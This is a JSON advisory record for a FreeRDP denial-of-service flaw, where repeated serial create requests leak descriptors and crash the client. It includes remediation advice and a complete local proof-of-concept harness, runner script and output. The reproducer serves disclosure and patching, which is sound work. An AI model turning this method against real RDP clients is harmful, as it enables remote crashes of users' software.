{"schema":"threatline.record/2","record":{"id":"GHSA-mqxv-c882-m8w9","aliases":["GHSA-mqxv-c882-m8w9"],"summary":"Repeated serial create requests retain descriptors and can terminate the FreeRDP client","details":"A remote RDP server can repeatedly send serial-device `IRP_MJ_CREATE` requests after a FreeRDP client has enabled serial redirection. `serial_process_irp_create` replaces `serial->hComm` without closing its previous value. On Linux, every successful WinPR communication handle owns five file descriptors, so unpaired creates accumulate descriptors for the life of the connection.\r\n\r\nA bounded replay through the actual serial IRP dispatcher issued 215 creates and measured 1,075 retained descriptors. A matched create/close control retained zero. The next actual serial read terminated the process at `CommReadFile`'s `FD_SETSIZE` assertion in the default `WITH_VERBOSE_WINPR_ASSERT=ON` configuration.\r\n\r\nIf verbose assertions are disabled and standard assertions are compiled out, the subsequent `FD_SET` has no runtime bound. A sanitizer replay with a descriptor above `FD_SETSIZE` observed a stack out-of-bounds write. This secondary behavior requires a descriptor limit above `FD_SETSIZE` and an assertion-disabled build; fortified libc may terminate instead. The demonstrated security impact is remote client denial of service and descriptor exhaustion. No code execution, confidentiality impact, or integrity impact was demonstrated.\r\n\r\nSerial redirection is opt-in and must be negotiated for the server to reach this path. The replay uses the real dispatcher and real PTY-backed communication handles, but synthetic IRPs rather than a live RDP/TLS peer.\r\n\r\n**Remediation:** Reject a create while a serial handle is already active, or safely close the prior handle before replacing it. Independently add runtime range checks before `FD_SET` or move the serial I/O path to `poll`/`ppoll`. Test repeated creates, failed replacements, matching closes, and high descriptor values with assertions enabled and disabled.\r\n\r\n**Proof of concept:**\r\n\r\n<!-- BEGIN FILE: harness.c -->\r\n```c\r\n#define _GNU_SOURCE\r\n#include <dirent.h>\r\n#include <fcntl.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#include <sys/resource.h>\r\n#include <unistd.h>\r\n\r\n#include \"channels/serial/client/serial_main.c\"\r\n\r\nstatic int count_fds(void)\r\n{\r\n\tDIR* dir = opendir(\"/proc/self/fd\");\r\n\tif (!dir)\r\n\t\treturn -1;\r\n\r\n\tint count = 0;\r\n\tfor (struct dirent* entry = readdir(dir); entry; entry = readdir(dir))\r\n\t{\r\n\t\tif ((strcmp(entry->d_name, \".\") != 0) && (strcmp(entry->d_name, \"..\") != 0))\r\n\t\t\tcount++;\r\n\t}\r\n\tclosedir(dir);\r\n\treturn count;\r\n}\r\n\r\nstatic void init_irp(IRP* irp, DEVMAN* devman, DEVICE* device, UINT32 major)\r\n{\r\n\tmemset(irp, 0, sizeof(*irp));\r\n\tirp->devman = devman;\r\n\tirp->device = device;\r\n\tirp->MajorFunction = major;\r\n\tirp->input = Stream_New(NULL, 64);\r\n\tirp->output = Stream_New(NULL, 32);\r\n\r\n\tif (major == IRP_MJ_CREATE)\r\n\t{\r\n\t\tStream_Write_UINT32(irp->input, GENERIC_READ | GENERIC_WRITE);\r\n\t\tStream_Write_UINT64(irp->input, 0);\r\n\t\tStream_Write_UINT32(irp->input, 0);\r\n\t\tStream_Write_UINT32(irp->input, 0);\r\n\t\tStream_Write_UINT32(irp->input, OPEN_EXISTING);\r\n\t\tStream_Write_UINT32(irp->input, 0);\r\n\t\tStream_Write_UINT32(irp->input, 0);\r\n\t}\r\n\telse if (major == IRP_MJ_CLOSE)\r\n\t{\r\n\t\tStream_Zero(irp->input, 32);\r\n\t}\r\n\telse\r\n\t{\r\n\t\tStream_Write_UINT32(irp->input, 1);\r\n\t\tStream_Write_UINT64(irp->input, 0);\r\n\t\tStream_Zero(irp->input, 20);\r\n\t}\r\n\tStream_SealLength(irp->input);\r\n\tStream_SetPosition(irp->input, 0);\r\n}\r\n\r\nstatic void free_irp(IRP* irp)\r\n{\r\n\tStream_Free(irp->input, TRUE);\r\n\tStream_Free(irp->output, TRUE);\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tconst BOOL attack = !((argc > 1) && (strcmp(argv[1], \"control\") == 0));\r\n\tstruct rlimit limit = { 4096, 4096 };\r\n\tif (setrlimit(RLIMIT_NOFILE, &limit) != 0)\r\n\t\treturn 2;\r\n\r\n\tconst int master = posix_openpt(O_RDWR | O_NOCTTY);\r\n\tif ((master < 0) || (grantpt(master) != 0) || (unlockpt(master) != 0))\r\n\t\treturn 2;\r\n\tconst char* slave = ptsname(master);\r\n\tif (!slave || !DefineCommDevice(\"COM1\", slave))\r\n\t\treturn 2;\r\n\r\n\tSERIAL_DEVICE serial = { 0 };\r\n\tDEVMAN devman = { 0 };\r\n\tserial.log = WLog_GetRoot();\r\n\tserial.device.name = \"COM1\";\r\n\tserial.device.id = 7;\r\n\tserial.IrpThreads = ListDictionary_New(TRUE);\r\n\tInitializeCriticalSection(&serial.TerminatingIrpThreadsLock);\r\n\tdevman.id_sequence = 100;\r\n\tconst int before = count_fds();\r\n\r\n\tfor (int i = 0; i < 215; i++)\r\n\t{\r\n\t\tIRP irp;\r\n\t\tinit_irp(&irp, &devman, &serial.device, IRP_MJ_CREATE);\r\n\t\tconst UINT rc = serial_process_irp(&serial, &irp);\r\n\t\tif ((rc != CHANNEL_RC_OK) || (irp.IoStatus != STATUS_SUCCESS))\r\n\t\t\treturn 3;\r\n\t\tfree_irp(&irp);\r\n\r\n\t\tif (!attack)\r\n\t\t{\r\n\t\t\tIRP close_irp;\r\n\t\t\tinit_irp(&close_irp, &devman, &serial.device, IRP_MJ_CLOSE);\r\n\t\t\t(void)serial_process_irp(&serial, &close_irp);\r\n\t\t\tfree_irp(&close_irp);\r\n\t\t}\r\n\t}\r\n\r\n\tfprintf(stderr, \"mode=%s fd_before=%d fd_after=%d\\n\", attack ? \"attack\" : \"control\",\r\n\t        before, count_fds());\r\n\tif (!attack)\r\n\t\treturn 0;\r\n\r\n\tif (write(master, \"Z\", 1) != 1)\r\n\t\treturn 4;\r\n\tIRP read_irp;\r\n\tinit_irp(&read_irp, &devman, &serial.device, IRP_MJ_READ);\r\n\tfprintf(stderr, \"dispatching IRP_MJ_READ after repeated IRP_MJ_CREATE\\n\");\r\n\t(void)serial_process_irp(&serial, &read_irp);\r\n\treturn 0;\r\n}\r\n```\r\n<!-- END FILE: harness.c -->\r\n\r\n<!-- BEGIN FILE: run.sh -->\r\n```sh\r\n#!/bin/sh\r\nset -eu\r\n\r\n: \"${FREERDP_SOURCE:?set FREERDP_SOURCE to the FreeRDP source directory}\"\r\n: \"${FREERDP_BUILD:?set FREERDP_BUILD to its configured build directory}\"\r\n\r\nSOURCE_ROOT=$(CDPATH= cd -- \"$FREERDP_SOURCE\" && pwd)\r\nBUILD_ROOT=$(CDPATH= cd -- \"$FREERDP_BUILD\" && pwd)\r\nHERE=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\r\nWORK_DIR=$(mktemp -d \"${TMPDIR:-/var/tmp}/freerdp-serial-create.XXXXXX\")\r\ntrap 'rm -rf \"$WORK_DIR\"' EXIT HUP INT TERM\r\n\r\nLIBFREERDP=\"$BUILD_ROOT/libfreerdp\"\r\nLIBWINPR=\"$BUILD_ROOT/winpr/libwinpr\"\r\nPRELOAD=$(ldd \"$LIBWINPR/libwinpr3.so\" 2>/dev/null | awk '/libasan\\.so/ { print $3; exit }')\r\n\r\ncc -w -DNDEBUG -ffunction-sections -fdata-sections \\\r\n\t-I\"$SOURCE_ROOT\" \\\r\n\t-I\"$SOURCE_ROOT/include\" \\\r\n\t-I\"$SOURCE_ROOT/winpr/include\" \\\r\n\t-I\"$SOURCE_ROOT/channels/serial/client\" \\\r\n\t-I\"$BUILD_ROOT/include\" \\\r\n\t-I\"$BUILD_ROOT/winpr/include\" \\\r\n\t-o \"$WORK_DIR/harness\" \"$HERE/harness.c\" \\\r\n\t-L\"$LIBFREERDP\" -L\"$LIBWINPR\" \\\r\n\t-lfreerdp3 -lwinpr3 -lpthread -Wl,--gc-sections\r\n\r\nulimit -c 0\r\nset +e\r\nASAN_OPTIONS=detect_leaks=0 LD_PRELOAD=\"$PRELOAD\" \\\r\n\tLD_LIBRARY_PATH=\"$LIBFREERDP:$LIBWINPR${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}\" \\\r\n\t\"$WORK_DIR/harness\" attack >\"$WORK_DIR/attack.stdout\" 2>\"$WORK_DIR/attack.stderr\"\r\nattack_rc=$?\r\nASAN_OPTIONS=detect_leaks=0 LD_PRELOAD=\"$PRELOAD\" \\\r\n\tLD_LIBRARY_PATH=\"$LIBFREERDP:$LIBWINPR${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}\" \\\r\n\t\"$WORK_DIR/harness\" control >\"$WORK_DIR/control.stdout\" 2>\"$WORK_DIR/control.stderr\"\r\ncontrol_rc=$?\r\nset -e\r\n\r\nattack_line=$(grep '^mode=attack ' \"$WORK_DIR/attack.stderr\")\r\ncontrol_line=$(grep '^mode=control ' \"$WORK_DIR/control.stderr\")\r\nattack_before=$(printf '%s\\n' \"$attack_line\" | sed -n 's/.*fd_before=\\([0-9][0-9]*\\).*/\\1/p')\r\nattack_after=$(printf '%s\\n' \"$attack_line\" | sed -n 's/.*fd_after=\\([0-9][0-9]*\\).*/\\1/p')\r\ncontrol_before=$(printf '%s\\n' \"$control_line\" | sed -n 's/.*fd_before=\\([0-9][0-9]*\\).*/\\1/p')\r\ncontrol_after=$(printf '%s\\n' \"$control_line\" | sed -n 's/.*fd_after=\\([0-9][0-9]*\\).*/\\1/p')\r\nattack_delta=$((attack_after - attack_before))\r\ncontrol_delta=$((control_after - control_before))\r\n\r\ntest \"$attack_delta\" -eq 1075\r\ntest \"$control_delta\" -eq 0\r\ntest \"$attack_rc\" -ne 0\r\ntest \"$control_rc\" -eq 0\r\ngrep -q 'fd_read_event < 1024' \"$WORK_DIR/attack.stderr\"\r\n\r\nprintf 'attack_fd_delta=%s\\n' \"$attack_delta\"\r\nprintf 'control_fd_delta=%s\\n' \"$control_delta\"\r\nprintf 'attack_exit=%s\\n' \"$attack_rc\"\r\nprintf 'control_exit=%s\\n' \"$control_rc\"\r\nprintf '%s\\n' 'attack_sink=CommReadFile_fd_limit_assert'\r\nprintf '%s\\n' 'result=VULNERABLE'\r\n```\r\n<!-- END FILE: run.sh -->\r\n\r\n<!-- BEGIN FILE: README.md -->\r\n````markdown\r\n# FreeRDP serial CREATE descriptor-retention reproducer\r\n\r\nThis source-only harness invokes FreeRDP's actual serial IRP dispatcher against a PTY-backed `COM1`. Attack mode sends 215 consecutive `IRP_MJ_CREATE` operations and then one `IRP_MJ_READ`. Control mode pairs every create with `IRP_MJ_CLOSE`.\r\n\r\nRequirements:\r\n\r\n- Linux with `/proc` and PTY support\r\n- a FreeRDP source checkout and matching configured build directory\r\n- the default `WITH_VERBOSE_WINPR_ASSERT=ON` build setting\r\n- a hard `RLIMIT_NOFILE` of at least 4096\r\n- a C compiler and the development dependencies used by the FreeRDP build\r\n\r\nRun from this directory, substituting paths to the source and build trees:\r\n\r\n```sh\r\nFREERDP_SOURCE=../../FreeRDP \\\r\nFREERDP_BUILD=../../FreeRDP-build \\\r\n./run.sh\r\n```\r\n\r\nThe harness raises only its own descriptor limit. Its temporary binary and captured logs are removed on exit, and all descriptors close when each short-lived process terminates. It does not connect to an RDP server or alter the FreeRDP source tree.\r\n\r\nThe runner uses `/var/tmp` by default because the binary must execute. Set `TMPDIR` to another executable temporary filesystem when needed.\r\n````\r\n<!-- END FILE: README.md -->\r\n\r\n<!-- BEGIN FILE: observed-output.txt -->\r\n```text\r\nattack_fd_delta=1075\r\ncontrol_fd_delta=0\r\nattack_exit=134\r\ncontrol_exit=0\r\nattack_sink=CommReadFile_fd_limit_assert\r\nresult=VULNERABLE\r\n```\r\n<!-- END FILE: observed-output.txt -->","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-mqxv-c882-m8w9","source_modified_at":"2026-09-30T21:43:44Z","fetched_at":"2026-10-26T23:45:56.352924Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":">= 2.0.0-rc0, <= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-mqxv-c882-m8w9","source_modified_at":"2026-09-30T21:43:44Z","fetched_at":"2026-10-26T23:45:56.352924Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":5.9,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-30T21:43:44Z","modified_at":"2026-09-30T21:43:44Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-mqxv-c882-m8w9","fetched_at":"2026-10-26T23:45:56.352924Z","source_modified_at":"2026-09-30T21:43:44Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-30T21:43:44Z","content_hash":"f356c96ea938ecc529d0931220adb594cd1e8fe2514791aed54e3c7bfa521afc"}}
